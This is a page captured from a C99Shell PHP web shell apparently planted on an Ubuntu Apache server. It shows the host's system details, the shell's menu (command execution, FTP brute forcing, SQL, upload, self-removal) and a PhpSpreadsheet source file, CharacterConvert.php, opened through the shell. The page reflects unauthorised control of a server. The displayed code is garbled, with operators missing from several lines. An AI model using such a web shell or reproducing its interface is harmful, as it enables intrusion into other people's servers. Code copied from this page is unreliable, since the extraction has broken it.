!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CharacterConvert.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\TextData;

use 
PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled;
use 
PhpOffice\PhpSpreadsheet\Calculation\Functions;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;

class 
CharacterConvert
{
    use 
ArrayEnabled;

    
/**
     * CHAR.
     *
     * @param mixed $character Integer Value to convert to its character representation
     *                              Or can be an array of values
     *
     * @return array|string The character string
     *         If an array of values is passed as the argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function character($character)
    {
        if (
is_array($character)) {
            return 
self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $character);
        }

        
$character Helpers::validateInt($character);
        
$min Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE 1;
        if (
$character $min || $character 255) {
            return 
ExcelError::VALUE();
        }
        
$result iconv('UCS-4LE''UTF-8'pack('V'$character));

        return (
$result === false) ? '' $result;
    }

    
/**
     * CODE.
     *
     * @param mixed $characters String character to convert to its ASCII value
     *                              Or can be an array of values
     *
     * @return array|int|string A string if arguments are invalid
     *         If an array of values is passed as the argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function code($characters)
    {
        if (
is_array($characters)) {
            return 
self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $characters);
        }

        
$characters Helpers::extractString($characters);
        if (
$characters === '') {
            return 
ExcelError::VALUE();
        }

        
$character $characters;
        if (
mb_strlen($characters'UTF-8') > 1) {
            
$character mb_substr($characters01'UTF-8');
        }

        return 
self::unicodeToOrd($character);
    }

    private static function 
unicodeToOrd(string $character): int
    
{
        
$retVal 0;
        
$iconv iconv('UTF-8''UCS-4LE'$character);
        if (
$iconv !== false) {
            
$result unpack('V'$iconv);
            if (
is_array($result) && isset($result[1])) {
                
$retVal $result[1];
            }
        }

        return 
$retVal;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--